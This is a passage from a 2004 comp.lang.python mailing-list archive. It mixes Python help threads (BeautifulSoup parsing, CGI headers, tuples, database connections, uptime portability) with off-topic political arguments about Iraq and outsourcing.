years, so its systems, while quite usable for grampa, do also appeal to power users and geeks -- Tiger will seamlessly let you use its wonderful search facilities _together_ with good organization of your materials (if you take the bother of the latter). Consider Mail.app: its search functionality works across all mailboxes or on a single mailbox -- you're _still_ encouraged to do a little decent filing of your mails, though the search does make it more feasible to survive with the popular "one big inbox and never bother filing" paradigm;-). Consider Google: it doesn't eliminate the advantage of well-organized, navigable sites, even though it gives you a chance of surviving the typical "designed by marketing, what's this ``usability'' newfangled thing?!" ones... Alex From fumanchu at amor.org Wed Sep 22 18:42:00 2004 From: fumanchu at amor.org (Robert Brewer) Date: Wed, 22 Sep 2004 15:42:00 -0700 Subject: Mod_Python apache question. Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022F01@exchange.hqamor.amorhq.net> Ian Pellew wrote: > Am I correct in thinking that Mod_Python simply executes Python > scripts from the server side using an internal Apache python engine? Yes. > Can a web page have Python script embedded in it like Java as well? Yes. If you're on Windows, one such way is by using Python as an ASP scripting language. Google for details. However, getting the indentation right will not be easy. Also look at web frameworks for Python which allow embedded Python code. Robert Brewer MIS Amor Ministries fumanchu at amor.org From ljelmore_ at _comcast_._net Fri Sep 3 20:04:05 2004 From: ljelmore_ at _comcast_._net (Larry Elmore) Date: Sat, 04 Sep 2004 00:04:05 GMT Subject: Xah Lee's Unixism In-Reply-To: References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> Message-ID: Anne & Lynn Wheeler wrote: > the two spoof stories in the aftermath > > 1) one about sectioning the boats for columbus because they had to be > built in the mountains where the trees grew and then used tar to stick > the sections together for the trip across the atlantic. lots of ships > were lost at sea for all sorts of reasons ... but hopefully none > because the ship was built in sections and tar was used to stick them > together. No, but some Liberty ships built in WWII, welded together from pre-fab sections, literally broke in half when the welds failed (IIRC, in very cold water like the Barents sea). The problem was fixed by welding large reinforcing "patches" on either side of the weak point in the hull. --Larry From firstname at lastname.pr1v.n0 Mon Sep 13 14:13:50 2004 From: firstname at lastname.pr1v.n0 (Morten Reistad) Date: Mon, 13 Sep 2004 20:13:50 +0200 Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> Message-ID: In article , Chuck Dillon wrote: >Antony Sequeira wrote: > >> Chuck Dillon wrote: [snipped iraqqqqq-rich posting] >> Americans + unknown number of Iraqqqqqis getting killed. How does that >> help avoid >> 9 qqqq 11 or are you confused between Iraqqqqqis and Saudqqqqis ? > >If you reread the post that you responded to you will see it has >nothing to do with Iraq. > >However, to answer your question: How does regime change in Iraq help >avoid another 9/11... > 1) It removes one of the states that might consider sponsing such a >future attach. Yes, maybe. Iraq was definatly a rouge nation; a mainstay in all the export documents (You may not export to Libya, Cuba, North Korea, Iraq, Iran, Afghanistan, and at times Yemen and Sudan). This is a long-term; non-urgent argument. > 2) It removes a state with the expertise of producing (not developing) >WMD that might be used in such an attack. We've found no WMD >stockpiles but we *have* found proof that Iraq retained the expertise >to produce WMD in the future. We still don't know if there are stockpiles. also valid. A long-term argument, too. > 3) It demonstrates to other states in the region that they could have >a regime change in about a month's time if they allow themselves to be >in the position of being held accountable for any future attack. >Removing the Taliban was a much more ambiguous demonstration of this >since they had no real military and really weren't an organized state. Dont' you think they already knew that? The main problem is rather how many iraq's can we handle. > 4) Look at a map of the middle east. It provides us with a base of >operations in the center of the region. We probably won't have to ask >for access to bases and airspace in future operations, which hopefully >will never have to happen. > 5) It provides us with a second (ref: Afghanistan) shot at >establishing a pseudo-democracy in the region. Valid arguments, but this "democracy-building" has been utterly mishandled. Firstly by an [almost] US-only war, and then by a US occupation by PHB's. > 6) It underscores that 9/11 should go into the "bad idea" category for >future planners of Islamic extremist operations. Are you listening Saudi Arabia? It may actually have worked with Libya; who consiquosly have changed sides to want friendly terms with the west, and is making a serious effort to reform. They also had far more WMD's in the pipeline than Saddam probably ever had. THAT was a surprise. >Before you respond saying that it increases the number of potential >terrorists that might carry out an attack, that may or may not be so. >But for such an attack to be carried out requires organization and >resources not just a bunch of pissed off people. It would require at >least implicit support by a state or very large organization with >resources. If you are one of those pissed off people how are you going >to sell your plan to say Syria? > >You are being naive. Complain as loud as you like but there is no >question that the ability and demonstrated willingness to defend ones >self is the best deterrent to ever having to do so. Naivite can take many forms. This is going to be a long battle, and a lot of the success will be places at simple logistics. Factors like how much real security burdons on aviation gives. How much the single victories cost. We have sort of taken control fo Iraq. Now, can we handle a North Korea that really goes sour; together with an al-Quada insurgency in a few african states, plus Sudan, a few tribal genosides, Turkmenistan gone bad (sliding there fast), and islamic revolution in Pakistan; or civil war there; plus another backlash in Afghanistan. All of these are very real and immediate conserns. I haven't even touched the Burmas and the Indoneias that seem stable at the moment. This is why I critisize the go-it-alone policy so harshly. I have a feeling we haven'??? seen the worst yet. >> Why don't we destroy everything but the U.S., that way we can guarantee >> that we'll never have any posibility of a terrqqqqorist attack from >> anywhere but from within U.S. I'll leave it to your imagination on how >> to extrapolate that to counter terrqqqqorism within U.S. > >We could have destroyed Iraq's military in days if we had applied our >full military capabilities without regard to civilian damage and >casualties. We took more American casualties than we had to and we >continue to so that we can minimize civilian risk. We have made no >effort to destroy Iraq, only Hussein's army. The "insurgents" are the >ones blowing up pipelines, other infrastructure and law enforcement >officials. We have people building schools, churches and >infrastructure. You need to find a more accurate news source. It is going to require a solid defense to make Iraq come out right, and the civil toll in lives is getting large. -- mrr From wweston at att.net Sat Sep 4 12:59:45 2004 From: wweston at att.net (wes weston) Date: Sat, 04 Sep 2004 16:59:45 GMT Subject: How to actually write a program? In-Reply-To: References: Message-ID: <5wm_c.306333$OB3.56596@bgtnsc05-news.ops.worldnet.att.net> Nick Evans wrote: > Hello there, > I have been on and off learning to code (with python being the second > language I have worked on after a bit of BASIC). What I really want to know > is, if you are going to actually write a program or a project of some sort, > how do you actually start. > > Picture this, you know what you want the program to do (its features), you > have a possably rough idea of how the program will work. You have opened an > empty text file and saved it as 'mykewlprogram.py' and now your sitting in > front of an empty text file... Now then.... where do I start. > > Any ideas about this problem :-) > > Ta > Nick > > Nick, Open another file and write the story of your program; why you're writing it, what it does, roughly how it does it, what it operates on, who uses it, what it produces, special problems, future considerations; a general description. Make another file listing specific things each user will be able to do; his action and what is produced and in what form. By this time you should have an idea of what the user interface will look like; gui, command line(both), menu(s). All things move forward together. Possibly; code an interface only with all the menus. Come up with data structures; empty classes with only documentation and maybe variable names and empty methods. Put this at the bottom of every py file: if __name__ == "__main__": pass Most of the time of you do anything to the file, put a test in and test it here. As new tests are done, describe them and comment out the last one. Pick the most risky processe(s) and design/code. Risky meaning is it doable and will your current concept get the job done. Test. Iterate. wes From jacques.coeurs at laposte.net Tue Sep 7 12:47:01 2004 From: jacques.coeurs at laposte.net (jack) Date: 7 Sep 2004 09:47:01 -0700 Subject: hex value in string back to real hex value Message-ID: <106645cc.0409070847.40b87e6e@posting.google.com> Hi everyone, I get in a program an hexa value codes in a string for example \xe7 which correspond to a french character. The string would be "\xe7t\xe7" and I want to write in a file ?t? and not \xe7t\xe7. Sure I could write a function to analyse the string, find all the hexa caracter (because of the \x) and convert the value to decimal and back to the correct cahracter. Is there something simplier ? An example below for generating such a string : a="" a=a+"\\" a=a+"x" a=a+"e" a=a+"7" len(a)= 4 # so it is not understood as the hexa value !! a "\xe7" Thanks in advance. Jack. From carribeiro at gmail.com Wed Sep 22 15:44:53 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Wed, 22 Sep 2004 16:44:53 -0300 Subject: Divisions of labor (was: Development engineering) In-Reply-To: References: <1gkipxd.1ibrh95fcvdotN%aleaxit@yahoo.com> <4tg822-bmd.ln1@lairds.us> <1gkiywn.1ydvxr62u3q0dN%aleaxit@yahoo.com> Message-ID: <864d370904092212441d99dbae@mail.gmail.com> On Wed, 22 Sep 2004 17:08:03 GMT, Cameron Laird wrote: > This still leaves open the question of precisely what the > alternative is--to have eager debugger-savvy friends? I > think there's more to it. I'll likely return to this. I think that the problem with debuggers is the same as with optimization -- it's too easy to start doing it prematurely. At the first sign of a problem, you fire up the debugger, and if you're not careful, you'll start to think more about the effects than about the causes. With a debugger, it's easy to see where does the bug manifest itself, but it's still hard to understand the exact source of the problem, if it's located far way from that point. Advanced debuggers support limited forms of backtracking (mostly through special hardware support or through virtualization), but for complex pieces of software, I'm yet to see something like this that really works. But there's a reason why debuggers are useful: there is a limit on how many things we can keep track of inside our heads. For some people it may be larger than average, but still there's a limit; and if you're working with anything that's not strictly sequential, then it quickly becomes unmanageable, even for the best programmer. That's where debuggers are more useful. But in this case, mastering a debugger turns out to be difficult, because it's not just a matter of walking on the code step by step anymore; it's about installing probes to check for interesting stuff at runtime, without causing any undesirable side effect. It's more of a information management problem than a programming problem, at this point -- to be able to install the minimum number of probles in a way that we can still keep track of what is going on realtime, and catch the problem at its origin. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From peter at engcorp.com Thu Sep 2 15:35:39 2004 From: peter at engcorp.com (Peter Hansen) Date: Thu, 02 Sep 2004 15:35:39 -0400 Subject: Tuple question In-Reply-To: References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <0qKdnZXAHfyPyKrcRVn-sg@powergate.ca> Message-ID: Gandalf wrote: > This is from that thread: >> Note that while .index() makes sense for some sequences, >> such as strings and lists, it doesn't make sense for the >> way in which tuples are "supposed to be used", which is >> as collections of heterogeneous data and not usually as >> simply read-only lists. > > Why it is not useful to have an index() method for collections of > heterogeneous data? Because you will already know where the different items or types of items are in the sequence. If you don't, it's probably not heterogeneous data using the definition that is being used by those saying that tuples are not just immutable lists. > Suppose, you have big amount of data stored in tuples (for using less > memory). Why do you think tuples use significantly less memory than lists? As far as I know, they don't. (They do use less, but if you are really talking about huge amounts of data such that you would be trying to optimize in this way, then the amount that they use is not *significantly* less.) > You may want to extract slices from the tuploes from a given index > determined by an object. > This is just an example, however it is quite realistic (e.g. using > tuples instead of lists > because there is a huge amount of static data that you need to access > quickly). Actually, it's realistic but unwise and a waste of time. Use lists, that's what they were meant for... -Peter From anders.eriksson at morateknikutveckling.se Mon Sep 27 01:48:35 2004 From: anders.eriksson at morateknikutveckling.se (Anders Eriksson) Date: Mon, 27 Sep 2004 07:48:35 +0200 Subject: Parsing HTML References: Message-ID: I would like to thank everyone that have help on this! The solution I settled for was a using BeautifulSoup and a script that Mr. Leonard Richardson sent me. Now to the next part of the problem, how to manage Unicode.... // Anders -- To promote the usage of BeautifulSoup here is the script by Mr. Leonard Richarson import urllib import re from BeautifulSoup import BeautifulSoup URL = "http://msdn.microsoft.com/library/en-us/dnwue/html/swe_word_list.htm" text = urllib.urlopen(URL).read() # remove all and p = re.compile('\|\') text = p.sub('',text) # soupify it soup = BeautifulSoup(text) def unmunge(value): """Use this method to turn, eg "74. Help menu" into "Help menu", probably using a regular expression.""" return value[value.find('.')+2:] d = [] cols = soup.fetch('td', {'width' : '33%'}) for i in range(0, len(cols)): if i % 3 != 2: #Every third column is a note which we ignore. value = unmunge(cols[i].renderContents()) if not d or len(d[-1]) == 2: #English term d.append([value]) else: #Swedish term d[-1].append(value) d = dict(d) for key, val in d.items(): print "%s = %s" % (key, val) From terti at mighty.co.za Thu Sep 16 09:31:47 2004 From: terti at mighty.co.za (tertius) Date: Thu, 16 Sep 2004 15:31:47 +0200 Subject: XML over HTTP In-Reply-To: References: <99033367.0409160250.780235e7@posting.google.com> Message-ID: Thomas Guettler wrote: > Am Thu, 16 Sep 2004 03:50:53 -0700 schrieb Tertius: > > >>Hi, >> >>A client is *not* able to use XML-RPC but *can* send plain XML over HTTP. >>I will parse the XML myself and return appropriate response. >> >>What do I need to do / use to serve the clients request? (synchronous) > > > Hi, > > You need httplib to send a http-request to the server. > > On the server you need some http-server. You could use > CGIHTTPServer of the standard library. > > You need a cgi-script which parses the request with e.g. > the library xml.sax. This script returns a string > which will be send to the client. > > You should be able to solve by only using modules > from the standard library. > > Happy Programming, > > Thomas > Thanks From gwschenk at fuzz.socal.rr.com Fri Sep 3 20:49:18 2004 From: gwschenk at fuzz.socal.rr.com (Gary Schenk) Date: Sat, 04 Sep 2004 00:49:18 GMT Subject: Xah Lee's Unixism References: <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> Message-ID: In comp.lang.perl.misc Alan Balmer wrote: > On Fri, 03 Sep 2004 22:58:35 GMT, gwschenk at fuzz.socal.rr.com (Gary > Schenk) wrote: > >>In comp.lang.perl.misc Alan Balmer wrote: >> >>> >>> I'm not a fan of Mr Hatch, but blaming him for the shuttle disaster(s) >>> is somewhat over the top. Why not blame President Bush? That's the >>> popular thing nowadays. >>> >> >>IIRC, the vice-president is in charge of the space program, so shouldn't >>President Bush accept some blame? > > The Vice President isn't "in charge" of the space program, except for > Al Gore, who probably invented it. > Don't you dittoheads ever get your facts right? http://www.jfklibrary.org/images/jfk-lbj01.jpg http://www.americaslibrary.gov/cgi-bin/page.cgi/jb/modern/launch_1 http://www.thespacereview.com/article/163/1 > The shuttles were designed and built some considerable time before > Bush became President. > True, although the first shuttle flight was in 1981, while Bush was vice- president. As the above references show, Bush was not head of the space council as Reagan was not a fan. Bush was busy selling anthrax and missiles to Iran and Iraq. > Good try, though, the DNC would be proud. > I doubt it. -- Gary Schenk remove "fuzz" to reply From steve at holdenweb.com Sun Sep 26 13:16:17 2004 From: steve at holdenweb.com (Steve Holden) Date: Sun, 26 Sep 2004 13:16:17 -0400 Subject: up with PyGUI! In-Reply-To: <1gkgqln.1pmrhgxx05wk7N%aleaxit@yahoo.com> References: <2qq5adF133c5kU1@uni-berlin.de> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com> <1gk76qq.kwo4dz1cftwe3N%aleaxit@yahoo.com> <1gk7oh4.1lgmrxo1pjcaw5N%aleaxit@yahoo.com> <1095378815.31957.166.camel@devilbox.devilnet.internal> <1gkgqln.1pmrhgxx05wk7N%aleaxit@yahoo.com> Message-ID: <4156F961.6030801@holdenweb.com> Alex Martelli wrote: [...] > Basically, easily transportable/tradable goods and services tend to have > more similar prices across different economies -- not considering > absurdly high and punitive tariffs that distort things (generally > raising the prices of clothing here, of cameras in India, etc), a shirt > or a camera should cost the same here and there. Goods and most > particularly services that _aren't_ easily transportable and tradable > are quite a different story; my barber charges me ten times as much as a > Mumbai barber would, taking advantage of the cost and inconvenience it > would be for me to have my head sent to Mumbai for hairstyling...:-). > In actual fact what tends to happen is that manufacturers in the wealthy countries outsource their production to the developing economies and continue to charge inflated prices in international markets. This is why, for example, Nike are able to charge $125 in the US for a pair of trainers that cost them $6 to make under sweatshop conditions in Malaysia and similarly developing countries. This is, of course, appreciated by the stockholders in the multinationals, who see huge profits with greatly-reduced obligations to support the people who provide the labor. Microsoft have, if rumor is to be believed, even gone so far as to outsource their HR department, surely the ultimate irony. Much of my information on this comes from "No Logo" by Naomi Klein (see http://www.amazon.com/exec/obidos/tg/detail/-/0312421435/102-9401572-5848961?v=glance), and I blogged about this in relation to software production in "How Much Profit is enough?" in (http://www.artima.com/weblogs/viewpost.jsp?thread=5870 with a mixed reaction of responses. [...] > > Personally, I think there will be _some_ modest reduction of > differences, and movements back and forth, if legal barriers can be > lowered a bit (I don't consider that lowering a certainty), but, judging > from these historical examples, I don't think it will reduce diffences > by ALL that much... > My own personal history involved growing up in the 1950's in a city with a large immigrant population, mostly from Pakistan and the West Indies, who had responded to advertising placed in their local papers by Bradford City employers: the economy was booming, and the indigenous population could earn far better money than was offered by the jobs the immigrants took, frequently working in mills or on the buses. Of course twenty years later the booming textile economy had been overtaken by the globalization that was inevitable. As is currently happening in the USA, much of the foreign expansion of competitive economies was fueled by British capital migrating to countries with a lower cost of labor, resulting in higher return on capital employed. Of course the response of (some of) the Bradford population was to complain along the lines of "they come here and take our jobs", quite happily ignoring that immigrants had been almost begged to take the lower-paid jobs that were going begging. Of course by the time the industry that provided those jobs had faded away the immigrants were in a much better position to compete across the board for employment, and were frequently better-motivated (being the sort of people who were prepared, like myself, to relocate across the globe) to compete for the remaining jobs. The racist British National Party found this an ideal situation to attempt to exploit, with famous consequences in certain hotbeds of racism. Overall, I am happy to say, the British population seems to reject such racism as nonsensical. The laughable thing is that, in general, the American population is delighted to support outsourcing as long as it leads to a lower cost of capital acquisition. It's only when the inevitable consequences (chief among which is a less-globally-competitive American economy) that they start to whinge and moan. I think it's to Bush's discredit that the pretends to support a globalized economy while still attempting to promote protectionism, and it's to Kerry's discredit that he promotes protectionism by suggesting tax incentives for companies that don't outsource. People vote with their wallets, unfortunately without a sufficient appreciation for the long-term consequences. But then that's the way they reproduce too, so we shouldn't expect too much of a fundamentally flawed lifeform. In two hundred years we will have drowned in our own shit! regards Steve From julien.sagnard.withoutthis at free.fr Wed Sep 22 04:49:30 2004 From: julien.sagnard.withoutthis at free.fr (Julien Sagnard) Date: Wed, 22 Sep 2004 10:49:30 +0200 Subject: Somthing strange with list as default argument In-Reply-To: <415135a2$0$2388$626a14ce@news.free.fr> References: <415135a2$0$2388$626a14ce@news.free.fr> Message-ID: <41513c9b$0$21753$626a14ce@news.free.fr> Thank you From fuzzyman at gmail.com Fri Sep 10 10:32:46 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 10 Sep 2004 07:32:46 -0700 Subject: Request Headers In a CGI References: <6f402501.0409100102.3fa002ea@posting.google.com> Message-ID: <6f402501.0409100632.47e403f3@posting.google.com> Sam Holden wrote in message news:... > On 10 Sep 2004 02:02:23 -0700, Michael Foord wrote: > > Is it possible to get at the http request headers in a normal CGI ? > > > > I can't touch the server, so I can't install anything like mod_python. > > I've tried googling but the answer seems to be 'no'. > > > > I know I can reconstruct *most* headers from the environment variables > > - is this my only option ? I've heard of 'non-parsed headers', but I > > don't know how to use them from within a python cgi.... > > Non-parsed headers are unrelated - they involve the web server not > parsing the CGI response headers but instead sending them directly to > the browser. > > What you want can't be done. You can reconstruct most of what you want > via the environment, but not all of it. HTTP Authentication passwords > leap to mind. Ok, thanks. It's a shame because I'm writing a CGI proxy - which means the user will have to put their username and password into a form for me, I can't just proxy their request headers........... (not that that was unproblematic anyway). Regards, Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html From heikowu at ceosg.de Mon Sep 20 04:18:18 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Mon, 20 Sep 2004 10:18:18 +0200 Subject: uptime in unix In-Reply-To: References: Message-ID: <200409201018.18541.heikowu@ceosg.de> Am Sonntag, 19. September 2004 23:21 schrieb Oli Schwarz: > Are these things handled like in Java? Doesn't Python know anything > about such platform specific things? Python knows a lot about platform specific things (look at five different implementations of os.path), or different implementations of mmap, which works completely different on Unix than on Windows. But, Python abstracts those differences away, and presents a coherent interface to all this functionality. There are only very few function which are actually platform specific. Uptime and the like (for example, list of loaded kernel modules is another candidate) is something that's not only platform specific, but also very operating-system specific. Take Linux: it "invented" the /proc filesystem (well, actually not the filesystem, but the hierarchy as it is know) to present this kind of system info from the kernel, so open file, read, close file. Take *BSD: they have /proc, but it's only present when running in Linux compatability mode. Standard BSD has a SYSCALL to retrieve uptime using some form of kernel config management with read only keys. Take Solaris: uptime is retrieved using a SYSCALL, but this is a specific SYSCALL rather than some config subsystem syscall as with BSD. And Windows? "What's Uptime?" :-) So, I guess uptime is just a concept that's so wildly different among different operating systems (although the platform may be the same, for *nix it's Posix, pretty much) that it's simply better not to add something like this to the std-lib (I guess Pythonistas once reasoned like this, and I can agree fully), but rather let the programmer do the job. And, oh, if you thought that parsing the output of /usr/bin/uptime would solve your problems: no, it only creates more, because the output of this command isn't standardized either. With Linux you get the GNU version (well most of the time, but not necessarily either), whose output is slightly different than what the Posix standard specifies, whose output is slightly different than the *BSD versions (who have a longer history and remain backwards compatible), whose output is slightly different to the SysV version of uptime (which needed to be different to *BSD in the 80s to bind users, so it was made different), whose output... You name it... :-) Heiko. From egbert.list at hccnet.nl Thu Sep 23 05:35:18 2004 From: egbert.list at hccnet.nl (Egbert Bouwman) Date: Thu, 23 Sep 2004 11:35:18 +0200 Subject: Database connections Message-ID: <20040923093518.GA1449@mirk.lan> My aim is to develop a policy for database connections and commits, however I do not fully understand these phenomena, and any comment is welcome. I use postgres with psycopg. The essence of my program is to do operations on a specific database, so I need a connection all the time. The program may run for hours or even days. Why not. I can start a connection at the beginning of the program, and close it at the end. Or I may do it as a class-level instruction in the class that is responsible for the database operations. So it is executed only once, at the first import. But it gives an insecure feeling. Connections may break down, and intruders may misuse them. I can test if the connection still exist before I do a real transaction. How do I test, if not with some dummy execute ? The alternative is to open and close a connection immediately before and after each transaction + commit. Is that a too defensive way of life ? egbert -- Egbert Bouwman - Keizersgracht 197 II - 1016 DS Amsterdam - 020 6257991 ======================================================================== From nelson at monkey.org Wed Sep 1 10:52:33 2004 From: nelson at monkey.org (Nelson Minar) Date: Wed, 01 Sep 2004 14:52:33 GMT Subject: multipart/form-data in an HTTP client Message-ID: I'm writing some code to upload photos to Flickr. The Photo Upload API requires documents be POSTed via a multipart/form-data request. I was surprised to learn that Python 2.3's HTTP clients don't support this form of POSTs. There is support in cgi.py, for servers. There are some implementations of multipart/form-data on ASPN: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/146306 urllib2_file seems to meet my needs, but I'm not wild about how it's implemented. Is there some other recommended way to do multipart/form-data uploads with HTTP in Python? References: http://www.flickr.com/services/api/ http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/146306 http://www.faqs.org/rfcs/rfc1867.html From db3l at fitlinxx.com Thu Sep 16 11:12:03 2004 From: db3l at fitlinxx.com (David Bolen) Date: 16 Sep 2004 11:12:03 -0400 Subject: MD5 and SHA cracked/broken... References: <7xacvuyjfn.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin writes: > You don't need preimages to plant a trojan. If you can create mere > collisions, you can create two files, one with a trojan and one > without a trojan, that have the same md5sum. You publish the > non-trojan one, people inspect it carefully and start using it, and > download sites say that its md5sum should be so-and-so. Now you can > replace the non-trojan file with the trojan version and the md5sum > will still verify. But why bother? Clearly in this case I'm in control of the md5sum's publication (since I'm formulating both files to match), so why wouldn't I just publish the trojan one in the first place with an MD5 that matches the trojan? Any user of my package is already trusting that any MD5 I publish is in fact for a proper file, so they are in effect already trusting me. I'd be more concerned that another party (other than myself) was able to insert a different file that matched my original MD5 that I had published. It sounds like this exploit doesn't impact that ability at this point. -- David From fredrik at pythonware.com Sun Sep 19 14:48:21 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 19 Sep 2004 20:48:21 +0200 Subject: win32api.SetCursorPos() question References: <10kol21ah3ulpcc@corp.supernews.com><10kp7cg7au8pn20@corp.supernews.com> <10kri7j4uugj9e0@corp.supernews.com> Message-ID: Gary Richardson wrote: > I'm using a Tk Canvas window to display various objects, one of which can be > a block of text entered from the keyboard. The user positions the cursor to > the desired position and begins typing, terminating the entry by pressing > the Esc key. From that point the text block can be manipulated (moved, > copied or deleted) by means of the mouse. As it is now, during text entry, > there is no indication of where the next character is to be entered. So I > thought it would be nice if I could indicate the insertion point as is usual > with text entry programs, editors, etc. that's what the icursor method is there for. see: http://effbot.org/zone/editing-canvas-text-items.htm From peter at engcorp.com Wed Sep 15 13:21:48 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 15 Sep 2004 13:21:48 -0400 Subject: The pythonic approach In-Reply-To: References: <414656ab$0$4777$a729d347@news.telepac.pt> <0dS1d.52$AA4.38@read3.inet.fi> Message-ID: <5r-dnRtq1OWw59XcRVn-sg@powergate.ca> Steven Bethard wrote: > Peter Hansen engcorp.com> writes: >>(My gut tells me that if this were something that was >>required in real code, it would actually be using an >>existing dictionary (not one created with a single >>entry just before the function) and the best code >>would be an inline .get() rather than a function call, >>and that x might not even be its own default, but >>I can't imagine what real code this corresponds to >>so that's all I have to say about that. > > I actually wrote code not too long ago that did make a call like .get(x, x). > I had a dictionary of word stems, e.g. > {"invention":"invent", "assistance":"assist", ...} read in from a file. For > the particular app, if there was no stem for a word, I wanted to get the word > back. I didn't have a function for it in my code, but I don't see why a > function like: > > def getstem(self, word): > return self.stemdict.get(word, word) > > would be so unreasonable. It wouldn't be "so unreasonable". Furthermore, it's a valid example with context that makes it understandable and therefore easier to discuss. I also point out that it uses a dictionary with much more in it than one item... And the function name makes sense in the problem domain, helping one understand the purpose of the function and, thus, the reason for that particular code pattern. (Even so, I would tend to include a doc-string or comment describing the basic algorithm, to let another programmer more easily comprehend the approach taken.) > I don't know why you would have to "pause to realize" that .get(x, x) returns > x as the default any more than you'd have to "pause to realize" that .get(x, > y) returns y as the default... Principle of least surprise. One rarely encounters .get(x, x) and so, upon seeing it, at least in the context of the contrived example (as opposed to in your own example), one might at first think it was a mistake. Personally, I'd use a regular lookup and catch the KeyError, making it very explicit what the intent of the author was. And that's the subject of the thread, after all: what is the more pythonic approach. For me, it's the one that leads to the least surprise and potential for confusion. (For others, it quickly gets into discussions of which approach is "faster", as we may shortly see. ;-) -Peter From balaji at email.arizona.edu Tue Sep 14 16:47:51 2004 From: balaji at email.arizona.edu (Balaji) Date: 14 Sep 2004 13:47:51 -0700 Subject: Random Instance generation Message-ID: <494182a9.0409141247.608d365f@posting.google.com> Hello eveybody.... Suppose there is a class A: I want to generate say 100 random instance of it... How can I do that.... I want the instance name to be like a1, a2, a3... Any ideas..... Cheers Balaji From joshway_without_spam at myway.com Thu Sep 9 16:14:07 2004 From: joshway_without_spam at myway.com (JCM) Date: Thu, 9 Sep 2004 20:14:07 +0000 (UTC) Subject: Is except: ... pass bad style? References: Message-ID: Peter Otten <__peter__ at web.de> wrote: ... > If the class of myobj is under your control you could do > class MyObj: > def method(self): > pass > and then later just call > myobj.method() Yes. This also avoids running into trouble by catching an exception you didn't mean to ignore. From peter at engcorp.com Wed Sep 1 21:12:58 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 01 Sep 2004 21:12:58 -0400 Subject: List and tuple usage distinction?? In-Reply-To: <938a4680.0409011617.e9f9ee2@posting.google.com> References: <938a4680.0409011617.e9f9ee2@posting.google.com> Message-ID: Ishwar Rattan wrote: > I am a little confused about a list and a tuple. > > Both can have dissimilar data-type elements, can be returned > by functions. The only difference that I see is that list is > mutable and tuple is not (of course list have .append() etc.) > > What is a possible scenario where one is preferred over the other? Does this answer in the FAQ list help? http://www.python.org/doc/faq/general.html#why-are-there-separate-tuple-and-list-data-types -Peter From jbors at mail.ru Thu Sep 30 16:06:26 2004 From: jbors at mail.ru (Dmitry Borisov) Date: Fri, 01 Oct 2004 00:06:26 +0400 Subject: Outputting to specific sound channels ? In-Reply-To: Message-ID: To: python-list at python.org Date: Thu, 30 Sep 2004 18:54:47 GMT Subject: Outputting to specific sound channels? [snip] > What is the best way to go about doing this? I don't believe there's > anything in the standard library that handles this, so I'd *probably* > want to use SDL or something similar. Does anyone know of a solution > that not only allows you to play sounds from Python, but also output > those sounds to a channel other than Wave? (such as Microphone) Hmm, not sure how can you play sounds through Microphone, it accepts input only. You can use pymedia to work with sound. You can grab from Microphone/Line in/Aux and send it to the selected sound card, resample sounds or do sound analysis. Check it out http://pymedia.sf.net/ Dmitry/ From claird at lairds.us Sun Sep 26 21:08:05 2004 From: claird at lairds.us (Cameron Laird) Date: Mon, 27 Sep 2004 01:08:05 GMT Subject: Whose is smaller (was: Math errors in python) References: <1gkqqmt.ng7g3h14zievbN%aleaxit@yahoo.com> Message-ID: <9d2k22-tj1.ln1@lairds.us> In article , Richard Hanson wrote: >[Connection working again...?] > >Alex Martelli wrote: > >> Richard Hanson wrote: >> ... >> > (Alex mentioned you have a Fujitsu LifeBook -- I do, too, and like it >> > very much!) . . . >Ahem. As I said ;-) in my reply to your post mentioning Anna's P2000 >(in my MID: ), and in >earlier postings re 2.4x installation difficulties, mine is a Fujitsu >LifeBook P1120. (Sorry, Alex! I definitely *should* have mentioned the >model again -- I'm just beginning to appreciate the difficulty of even >*partially* keeping up with c.l.py. I'm learning, though. :-) ) > >In any event, the Fujitsu LifeBook P1120 has a 8.9" wide-format >screen, is 2.2lbs.-light with the smaller *very* long-lasting battery >and 2.5lbs.-light with the very, *very* long-lasting battery, and has >-- what tipped the scales, as it were, for my needs -- a touchscreen >and stylus. . . . >I can feel your pain. I would switch to Apple in a second if they had >such light models (and if I had the bucks ;-) ). I need a very light >machine for reasons specified earlier. (Okay, slightly reluctantly: >Explicit may be better even with *this* particular info -- I have >arthritis [ankylosing spondylitis] and need very light laptops to read >and write with. :-) ) > >> OBCLPY: Python runs just as wonderfully on her tiny P-Series as on my >> iBook, even though only Apple uses it within the OS itself;-) > >ObC.l.pyFollow-up: Python also runs very well on my tinier ;-) P1120 >with the Transmeta Crusoe TM5800 processor running at 800MHz and with >256MB RAM and a 256KB L2 on-chip cache -- even using Win2k. :-) It's >really nice not needing a fan on a laptop, as well -- even when >calculating Decimal's sqrt() to thousands of decimal places. ;-) . . . Is Linux practical on these boxes? How do touch-typists like them From adalke at mindspring.com Fri Sep 3 00:53:08 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Fri, 03 Sep 2004 04:53:08 GMT Subject: Larry Wall & Cults In-Reply-To: References: <7fe97cc4.0408251356.34f2102a@posting.google.com> Message-ID: <4137F8A6.1050405@mindspring.com> [cc'ed to poster since I removed all the 